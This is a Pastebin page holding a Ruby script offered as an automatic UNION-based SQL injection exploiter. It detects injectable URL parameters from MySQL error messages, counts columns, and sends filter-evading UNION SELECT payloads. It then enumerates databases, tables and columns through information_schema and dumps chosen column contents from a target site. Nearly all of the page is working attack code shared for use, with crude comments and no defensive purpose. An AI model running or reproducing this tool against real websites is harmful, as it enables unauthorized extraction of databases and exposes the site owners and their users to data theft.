Advertisement
hamzakiller21

UNION-Based (Basic) SQL Injection auto exploit v 0.2

Jul 20th, 2014
452
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 8.13 KB | None | 0 0
  1. #!/user/bin/ruby
  2. require'open-uri'
  3. =begin
  4. Auto Sql Injection Exploiter
  5. By Hamza Killer xD :D
  6. To Sec4ever && s3ck.net
  7. TO : Uzun-Dz , R0x , Black-id xD
  8. This tools is public_version inject union based (intiger and string)
  9. the priv8 tools inject blind sql && union based && error based
  10. xD soon it will be public xD
  11. my eng khkhkhk
  12. =end
  13. ### Homee Functiop
  14. class String
  15. def red;            "\033[31m#{self}\033[0m" end
  16. def green;          "\033[32m#{self}\033[0m" end
  17. def  brown;         "\033[33m#{self}\033[0m" end
  18. def gray;           "\033[37m#{self}\033[0m" end
  19. def bg_red;         "\033[41m#{self}\033[0m" end
  20. def bg_green;       "\033[42m#{self}\033[0m" end
  21. def bg_brown;       "\033[43m#{self}\033[0m" end
  22. def bg_blue;        "\033[44m#{self}\033[0m" end
  23. def bg_magenta;     "\033[45m#{self}\033[0m" end
  24. def bg_cyan;        "\033[46m#{self}\033[0m" end
  25. def bg_gray;        "\033[47m#{self}\033[0m" end
  26. end
  27. def home()
  28. text=[
  29.  "   [*]=========================================[*]",
  30.  "   [*]     Auto Sql Injection Exploit V 1.0    [*]",
  31.  "   [*]       H A M Z A    K I L L E R          [*]",
  32.  "   [*]        Hlyzidi[at]gmail[dot]com         [*]",
  33.  "   [*]=========================================[*]"
  34.   ]
  35. for oo in text
  36. puts oo.red
  37. sleep(0.1)
  38. end
  39. end
  40. ## function for get body_url
  41. def get_con(url)
  42. f = open(url)
  43. x=f.readlines.join
  44. return x
  45. end
  46. ## Function for parcing url for handling Error
  47. def url_x(url)
  48. if(url =~ /http:\/\//)
  49. url=URI(url)
  50. elsif (url =~ /https:\/\//)
  51. puts "Tool NOt work with ssl sorry "
  52. exit
  53. else
  54. url=URI("http://#{url}")
  55. end
  56. end
  57. ## function for chek url if he is infected
  58. def infected_1(url)
  59. x=get_con(url)
  60. if (x=~ /Unknown column/i || x=~ /on line/i ||  x=~ /Warning MySQL/i||  x=~ /You have an error in your SQL syntax/i||  x=~/Warning MySQL/i ||  x=~/Warning: mysql_num_rows():/i)
  61. return true
  62. end
  63. end
  64. ## Function for Get All Database
  65. def get_all_data(url,clm,pay)
  66. xssp="#{url}#{pay}"
  67. payload="/*!12345GrouP_CoNcaT(5*5,SchEmA_NamE,10*30)*/"
  68. begin
  69. xuxrl=pay.sub("#{clm}","#{payload}")
  70. xurl=URI("#{url}#{xuxrl}+FroM+iNForMaTion_SchEmA.SchEmAta--+-")
  71. rescue
  72. print "some thing Wrong"
  73. end
  74. xd=get_con(xurl)
  75. data=xd.scan(/25(.*?)300/i)
  76. for dat in data.uniq
  77. p=dat[0].sub(",","");
  78. puts "|| [+] #{p}"
  79. end
  80. end
  81. ## function for stik union
  82. def url_pasq(ur,col)
  83. p=ur.sub("=","=-");
  84. po="+/*!12345UNION*/+/*!12345SELECT*/+1";
  85. while (i=2 < col)
  86. i=2+1
  87. pppp="#{p}#{po}+,#{i}--+-"
  88. return pppp
  89. end
  90. end
  91. ##################################################""
  92.  
  93. def get_data(url,clm,pay)
  94. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,database(),0x2f3a3a2f,version(),0x2f3a3a2f,user(),0x68616d7a6178647a)*/"
  95. xuxrl=pay.sub("#{clm}","#{payload}")
  96. xurl=URI("#{url}#{xuxrl}")
  97. xd=get_con(xurl)
  98. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  99. begin
  100. for dat in data[0]
  101. xd=dat.split("/::/")
  102. database=xd[0]
  103. version=xd[1]
  104. user=xd[2]
  105. puts "[+] Db server user   :#{user} ".green
  106. puts "[+] Database version : #{version} ".green
  107. puts "[+] current Database : #{database}".green
  108. end
  109. end
  110. rescue
  111. puts "Error !!!!!"
  112. end
  113. ### Function for Hex Encoding
  114. def hex_string(url,clm,pay,xstring)
  115. xssp="#{url}#{pay}"
  116. payload="/*!12345GrouP_CoNcaT(0x68616d7a6178647a,%270x%27,HEX(%27#{xstring}%27),0x68616d7a6178647a)*/"
  117. xuxrl=pay.sub("#{clm}","#{payload}")
  118. xurl=URI("#{url}#{xuxrl}+--")
  119. xd=get_con(xurl)
  120. data=xd.scan(/hamzaxdz(.*?)hamzaxdz/i)
  121. for dat in data.uniq
  122. return dat[0]
  123. end
  124. end
  125. ##### Function For Get All tables
  126. def get_all_tables(url,clm,pay,db)
  127. xssp="#{url}#{pay}"
  128. payload="/*!12345GrouP_CoNcaT(5*5,table_name,6*5)*/"
  129. xuxrl=pay.sub("#{clm}","#{payload}")
  130. xurl=URI("#{url}#{xuxrl}+from+information_schema.tables+where+table_schema=#{db}--+-")
  131. xd=get_con(xurl)
  132. data=xd.scan(/25(.*?)30/i)
  133. for dats in data.uniq
  134. for dat in dats
  135. p=dat.sub(",","");
  136. puts "|| [+] #{p}".brown
  137. end
  138. end
  139. end
  140. ####### Function For Get All colum
  141. def get_all_clum(url,clm,pay,db,table)
  142. xssp="#{url}#{pay}"
  143. payload="/*!12345GrouP_CoNcaT(5*5,column_name,6*5)*/"
  144. xuxrl=pay.sub("#{clm}","#{payload}")
  145. xurl=URI("#{url}#{xuxrl}+FROM+INFORMATION_ScheMa./*!columNs*/+WhErE+tablE_scheMa=#{db}+and+table_name=#{table}--+-")
  146. xd=get_con(xurl)
  147. data=xd.scan(/25(.*?)30/i)
  148. for dat in data.uniq
  149. p=dat[0].sub(",","");
  150. puts "[+] #{p}".green
  151. end
  152. end
  153. ######## Finily GEt All Data
  154. def get_all_data_bitch(url,clm,pay,db,table,colm)
  155. xssp="#{url}#{pay}"
  156. payload="/*!12345GrouP_CoNcaT(5*5,#{colm},6*5)*/"
  157. xuxrl=pay.sub("#{clm}","#{payload}")
  158. xurl=URI("#{url}#{xuxrl}+FroM+#{db}.#{table}--+-")
  159. xd=get_con(xurl)
  160. data=xd.scan(/25(.*?)30/i)
  161. for dat in data.uniq
  162. p=dat[0].sub(",","");
  163. puts "[+] #{p}"
  164. end
  165. end
  166. #########################################################
  167. #########################################################
  168. ###################    Chek if vul    ###################
  169. home()  
  170. print("# Eenter Url ->")
  171. begin
  172. urld=gets.chomp
  173. if !(urld)
  174. print "# Error !!!!!!!!!"
  175. exit
  176. end
  177. url=url_x(urld)
  178. x=infected_1("#{url}'")
  179. rescue
  180. print "# Error !!!!!!!!!\n"
  181. exit
  182. end
  183. if(x)
  184. print"[+] #{url} => SQl Injection Found\n".bg_blue
  185. print"[+] injection type is Integer\n".bg_blue
  186. else
  187. puts"[-] try to inject string ".bg_cyan
  188. end
  189. #########################################
  190. def get_col2(url)
  191. pd=URI(url)
  192. xss=get_con(pd)
  193. for i in 1..50
  194. urls=URI("#{url}+Order+by+#{i}--+-")
  195. xs=get_con(urls)
  196. if (xs == xss)
  197. clnb=i-1;
  198. break
  199. end
  200. end
  201. return clnb
  202. end
  203. #### Get column Infected
  204. for i in 1..50
  205. urls=URI("#{url}+Order+by+#{i}--+-")
  206. x=get_con(urls)
  207. if (x=~ /Unknown column/i || x=~ /on line/i ||  x=~ /Warning MySQL/i||  x=~ /You have an error in your SQL syntax/i||  x=~/Warning MySQL/i ||  x=~/Warning: mysql_num_rows():/i||  x=~/in 'order clause'/i)
  208. clnb=i-1;
  209. clnbs=i-1;
  210.  
  211. break
  212. sleep(0.2)
  213. end
  214. end
  215. ####
  216. ####
  217. print"[+] number : #{clnb}\n".bg_blue
  218. #### NOw GEt Infected columns
  219. print"[+] Searching for infected columns ...........\n".bg_red
  220. p=urld.sub("=","=-");
  221. po="+/*!12345UNION*/+/*!12345SELECT*/+";
  222. all_url="#{p}#{po}"
  223. dz=[]
  224. begin
  225. clnb=clnb
  226. for i in (2..clnb).to_a
  227. dz.push(i)
  228. sleep(0.00003)
  229. end
  230. rescue
  231. clnb=get_col2(url) 
  232. for i in (2..clnb).to_a
  233. dz.push(i)
  234. sleep(0.00003)
  235. end
  236. rescue
  237. print "Error xD :D !!!!!".bg_red
  238. exit
  239. end
  240. clm_num=dz.join(",")
  241. clm_num="1,#{clm_num}"
  242. x_clminf="#{all_url}#{clm_num}--"
  243. for ix in (1..clnb)
  244. xpx=clm_num.sub("#{ix}",'0x68616d7a6178647a');
  245. ppps=URI("#{all_url}#{xpx}--")
  246. x_url=get_con(ppps)
  247. if(x_url =~ /hamzaxdz/i)
  248. p_ss=ix
  249. break
  250. end
  251. sleep(0.00003)
  252. end
  253. puts "[+] Found infected columns is : #{p_ss}".bg_brown
  254. # print All information
  255. get_data(all_url,p_ss,clm_num)
  256. # GET All Database
  257. into=["||==================================================||",
  258.       "||===========        databases           ===========||",
  259.       "||==================================================||"]
  260. xbar=["||==================================================||"]
  261. for ine in into
  262. puts ine
  263. sleep(0.2)
  264. end      
  265. get_all_data(all_url,p_ss,clm_num)
  266. for ine in xbar
  267. puts ine
  268. sleep(1)
  269. end
  270. print('# PLZ chois Database :')
  271. data_user=gets.chomp
  272. ## Now Select Database And Fuck It
  273. database_hex=hex_string(all_url,p_ss,clm_num,data_user) ## Database Hex_encode
  274. ## Now Extreact Tables
  275. into=["||==================================================||",
  276.       "||===========          Tables            ===========||",
  277.       "||==================================================||"]
  278. for ine in into
  279. puts ine
  280. sleep(0.2)
  281. end
  282. get_all_tables(all_url,p_ss,clm_num,database_hex)
  283. for ine in xbar
  284. puts ine
  285. sleep(1)
  286. end
  287. print('# PLZ Enter Table :')
  288. tab_user=gets.chomp
  289. table_hex=hex_string(all_url,p_ss,clm_num,tab_user)### Hexing This Fuck xD
  290. into=["||==================================================||",
  291.       "||===========          columns           ===========||",
  292.       "||==================================================||"]
  293. for ine in into
  294. puts ine
  295. sleep(0.2)
  296. end
  297. get_all_clum(all_url,p_ss,clm_num,database_hex,table_hex)
  298. for ine in xbar
  299. puts ine
  300. sleep(1)
  301. end
  302. ### Now Bitch Start Work And Get All Data Fuck Fuck Zhhhhh:D
  303. a=true
  304. while a
  305. print "# Enter columns ->"
  306. clm=gets.chomp
  307. begin
  308. get_all_data_bitch(all_url,p_ss,clm_num,data_user,tab_user,clm)
  309. rescue
  310. print "Error !!!!!!\n"
  311. end
  312. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement